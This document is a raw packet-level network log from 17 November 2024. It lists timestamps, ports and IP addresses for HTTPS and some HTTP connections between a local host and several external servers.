Nov 17, 2024 10:07:29.309324026 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.309334993 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.309880972 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.309885979 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.434150934 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.434310913 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.434417963 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.434457064 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.434472084 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.434485912 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.434493065 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.437309980 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.437351942 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.437433958 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.437616110 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.437627077 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.439059019 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.439121962 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.439275980 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.439476967 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.439476967 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.439493895 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.439502001 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.441577911 CET	49833	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.441654921 CET	443	49833	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.441756964 CET	49833	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.442033052 CET	49833	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.442070007 CET	443	49833	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.488024950 CET	80	49812	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:29.488140106 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:29.904424906 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.904920101 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.904942989 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.905343056 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.905347109 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.911899090 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.912240028 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.912267923 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.912719965 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.912729025 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.032951117 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.033188105 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.033247948 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.033405066 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.033417940 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.033427954 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.033432961 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.036446095 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.036473989 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.036540985 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.036745071 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.036755085 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.043473959 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.043735027 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.044384956 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.044416904 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.044416904 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.044435024 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.044446945 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.046701908 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.046756983 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.046930075 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.047076941 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.047096968 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.170383930 CET	443	49833	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.172756910 CET	49833	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.172785997 CET	443	49833	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.173398972 CET	49833	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.173405886 CET	443	49833	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.175307035 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.175793886 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.175803900 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.176198959 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.176203966 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.218517065 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:30.218565941 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:30.219367981 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:30.241533995 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:30.241554976 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:30.300216913 CET	443	49833	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.300282001 CET	443	49833	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.300399065 CET	49833	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.305952072 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.306132078 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.306288004 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.310940027 CET	49833	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.310957909 CET	443	49833	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.325458050 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.325500011 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.325505972 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.325511932 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.367980003 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.368848085 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.368885040 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.369704008 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.380101919 CET	49831	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.380125046 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.380640030 CET	49831	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.380660057 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.380943060 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.380974054 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.398411036 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.398499966 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.399383068 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.399909973 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.399964094 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.508104086 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.508169889 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.509300947 CET	49831	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.537427902 CET	49831	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.537445068 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.537475109 CET	49831	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.537480116 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.597673893 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.597698927 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.597943068 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.600279093 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.600328922 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.776679039 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.777441025 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.829852104 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.829876900 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.861279964 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.861288071 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.863101006 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.863106966 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.863607883 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.863626957 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.864037037 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.864056110 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.990550041 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.990578890 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.990634918 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.990734100 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.990734100 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:30.991611958 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.991717100 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:30.991786003 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.047125101 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.047125101 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.047157049 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.047183990 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.053467035 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.053467035 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.053491116 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.053500891 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.125004053 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.129472017 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.173608065 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.173640966 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.174761057 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.174777031 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.177683115 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.177696943 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.181946039 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.181988955 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.182456970 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.182472944 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.223643064 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.223676920 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.224663973 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.251513004 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.251607895 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.251861095 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.252403975 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.252418041 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.287834883 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.287878036 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.306092978 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.306432962 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.306519985 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.306957960 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.306981087 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.306998014 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.307004929 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.312923908 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.312946081 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.313002110 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.313045025 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.313108921 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.313828945 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.313828945 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.313872099 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.313901901 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.338629007 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.346214056 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:31.346272945 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:31.353492022 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:31.353507996 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:31.353883028 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:31.392350912 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.408274889 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:31.677589893 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.677612066 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.678200006 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.678209066 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.770878077 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:31.770878077 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:31.770916939 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:31.772253036 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:31.808636904 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.808690071 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.808772087 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.815354109 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:31.938646078 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.938646078 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.938677073 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.938690901 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.963004112 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.963056087 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.963116884 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.963979959 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.964067936 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.964169025 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.971280098 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.996151924 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.996176958 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:31.998085976 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:31.998096943 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.004582882 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:32.004616022 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:32.004682064 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:32.020412922 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:32.021101952 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:32.021111012 CET	443	49837	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:32.021212101 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:32.021212101 CET	49837	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:32.022461891 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.022478104 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.022653103 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.022737980 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.026973963 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.029830933 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.029853106 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.030344009 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.030356884 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.046086073 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:32.046111107 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:32.121627092 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.121695995 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.121829987 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.158833027 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.158906937 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.158966064 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.159339905 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.159359932 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.159382105 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.159388065 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.169821978 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.169847012 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.169989109 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.224025965 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.224025965 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.224096060 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.224133968 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.250005007 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.250051022 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.756072044 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.766630888 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.802329063 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.815320969 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.815340996 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.816756010 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.816762924 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.818419933 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.819742918 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.819749117 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.820173025 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.820178986 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.838649035 CET	49707	443	192.168.2.6	40.126.32.140
Nov 17, 2024 10:07:32.838649988 CET	49707	443	192.168.2.6	40.126.32.140
Nov 17, 2024 10:07:32.841665030 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.841703892 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.841784000 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.843683004 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:32.843689919 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:32.843693972 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:32.843698978 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:32.843703032 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:32.943217039 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.943291903 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.943341017 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.948137999 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.948193073 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.948244095 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.948256016 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.948285103 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.948328972 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.965461969 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.965478897 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.982374907 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.983192921 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.983212948 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:32.984838963 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:32.984843969 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.019716978 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.019717932 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.019747972 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.019761086 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.046866894 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.046866894 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.046900034 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.046907902 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.048866987 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.048898935 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.049000025 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.074222088 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.074244976 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.111690044 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:33.115822077 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:33.115848064 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:33.117065907 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:33.117120981 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:33.118424892 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:33.118493080 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:33.118542910 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:33.124584913 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.124695063 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.125543118 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.159357071 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:33.192770004 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:33.192802906 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:33.194035053 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194046021 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194061995 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194068909 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194084883 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194246054 CET	49707	443	192.168.2.6	40.126.32.140
Nov 17, 2024 10:07:33.194246054 CET	49707	443	192.168.2.6	40.126.32.140
Nov 17, 2024 10:07:33.194482088 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194591999 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194598913 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194614887 CET	443	49707	40.126.32.140	192.168.2.6
Nov 17, 2024 10:07:33.194983006 CET	49707	443	192.168.2.6	40.126.32.140
Nov 17, 2024 10:07:33.278919935 CET	49707	443	192.168.2.6	40.126.32.140
Nov 17, 2024 10:07:33.294199944 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:33.336124897 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.336165905 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.336318970 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.337851048 CET	49852	443	192.168.2.6	13.107.246.45
